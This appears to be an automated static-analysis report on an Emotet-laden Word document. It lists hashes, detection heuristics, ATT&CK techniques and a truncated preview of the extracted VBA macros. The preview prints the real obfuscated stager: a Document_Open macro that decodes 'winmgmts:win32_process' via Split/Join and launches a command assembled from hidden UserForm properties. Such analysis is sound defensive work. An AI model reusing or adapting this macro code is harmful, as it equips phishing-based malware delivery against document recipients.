Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 eb6358d4c7ff0bfd…

MALICIOUS

Office (OLE)

229.7 KB Created: 2020-08-11 21:47:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: b0fc06a2552701f099ef6f72d0bed350 SHA-1: 82624fd4c8701dda94e1df80014a85f7767e57ed SHA-256: eb6358d4c7ff0bfd8003d0c64c9fa474c40e1ebc6c8457186b3af10bbf4ec3d4
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet's typical behavior. The ClamAV detection also explicitly names Emotet. The VBA script likely attempts to download and execute a secondary payload, a common tactic for this family.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9273070-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9273070-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4336 bytes
SHA-256: 6efbdfc2731d7d546ad4199923ac1f61f02d8d0b705c53c096f2c31c51b605e6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "XXOKRxacpiti"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
PJCPCjtnqjazd.QDZRNgsxapoqajcxj
End Sub


Attribute VB_Name = "PJCPCjtnqjazd"
Attribute VB_Base = "0{9C45D85D-969A-4FDF-A330-44DFA3AF515E}{E619C08A-3046-480E-8636-9399C64D3314}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function QDZRNgsxapoqajcxj()
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
JYIBMgxthhpgwz = PJCPCjtnqjazd.Zoom
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
WYPVAxkaxcqwzbwx = ChrW(JYIBMgxthhpgwz + ((30 + 60 + 30) / (4 + 4)))
Dim p1Èck3ÃQU As Date
ZGCRDqmcxbhaiery = "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhi920jG&2(nbsjg uiyqGb2234%42bjhnm920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhgm920jG&2(nbsjg uiyqGb2234%42bjht920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh" + WYPVAxkaxcqwzbwx + "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh:920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhin920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh3920jG&2(nbsjg uiyqGb2234%42bjh2920jG&2(nbsjg uiyqGb2234%42bjh_920jG&2(nbsjg uiyqGb2234%42bjh" + PJCPCjtnqjazd.LONZNevhbbqrbmui + "920jG&2(nbsjg uiyqGb2234%42bjhro920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhce920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjh"
Dim tqSQH3Í As Integer
tqSQH3Í = 3
Do While tqSQH3Í < 3 + 6
tqSQH3Í = tqSQH3Í + 6: DoEvents
Loop
ACNLNkouafauwqmw = PMFUCwggpjyhdzeh(ZGCRDqmcxbhaiery)
Dim JtF1ÔVIsgfW As Variant
Set GCDBCwyroppyv = CreateObject(ACNLNkouafauwqmw)
Dim r4ÖKHihX As Integer
r4ÖKHihX = 9
Do While r4ÖKHihX < 9 + 5
r4ÖKHihX = r4ÖKHihX + 7: DoEvents
Loop
IVTMSulddvvwgibtq = PJCPCjtnqjazd.MNFVCauvnfhcsd.ControlTipText
Dim aKHZFGTowB As Currency
MSLLEbdeufnrawtqrb = m2m3b5 + (ACNLNkouafauwqmw + WYPVAxkaxcqwzbwx + PJCPCjtnqjazd.DYZIIvsmhpbtenpglz.ControlTipText + IVTMSulddvvwgibtq)
Dim fIspInaCW As String
HQJDUgrsglzhbl = MSLLEbdeufnrawtqrb + PJCPCjtnqjazd.LONZNevhbbqrbmui
Dim n8ÈRMOqNXp As Integer
n8ÈRMOqNXp = 4
Do While n8ÈRMOqNXp < 4 + 4
n8ÈRMOqNXp = n8ÈRMOqNXp + 1: DoEvents
Loop
Set TYMTKmaeriejggi = AJWUYnsagyrrsvwsre(HQJDUgrsglzhbl)
Dim K0ÏyYuGKEqS As Currency
pppp1n1b = Array(ns123v4 + "jbjksgui qguw egq wuieg qbnmasm", GCDBCwyroppyv. _
Create(COBJZgvhpzvubafbsx, RHMYUnpnizfosyagl, TYMTKmaeriejggi), masb1 + ",jha ghauig qugq bbbs")
Dim LRhpI5ÓslYA As Double
End Function
Function COBJZgvhpzvubafbsx()
n21bh3 = PJCPCjtnqjazd.JBQCPkfkflpfbrxqjk.Pages(vbOK).Caption
COBJZgvhpzvubafbsx = PMFUCwggpjyhdzeh(n21bh3)
dgKyIcWY = 7
Do While dgKyIcWY < 7 + 1
dgKyIcWY = dgKyIcWY + 1: DoEvents
Loop
End Function
Function AJWUYnsagyrrsvwsre(LEWNJlaxbgqwowhzv)
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
Set AJWUYnsagyrrsvwsre = CreateObject(LEWNJlaxbgqwowhzv)
Dim WbU1Ïq As Integer
WbU1Ïq = 1
Do While WbU1Ïq < 1 + 4
WbU1Ïq = WbU1Ïq + 1: DoEvents
Loop
AJWUYnsagyrrsvwsre. _
showwindow = STONTsciqwxyg + QRPYNwrxeqetuue
Dim UMbU As Object
End Function
Function PMFUCwggpjyhdzeh(WZLKSyvjbzfzymjk)
QOFKIxugadncikq = WZLKSyvjbzfzymjk
Dim ZvdC As Currency
YRDVMiyprtqbculva = Split _
(QOFKIxugadncikq, "920jG&2(nbsjg uiyqGb2234%42bjh")
Dim Hih4å As Integer
Hih4å = 5
Do While Hih4å < 5 + 7
Hih4å = Hih4å + 6: DoEvents
Loop
YGFSUknftrsrzj = mmm2 + Join(YRDVMiyprtqbculva, msnj2)
Dim r4áAANisy As Integer
r4áAANisy = 4

... (truncated)

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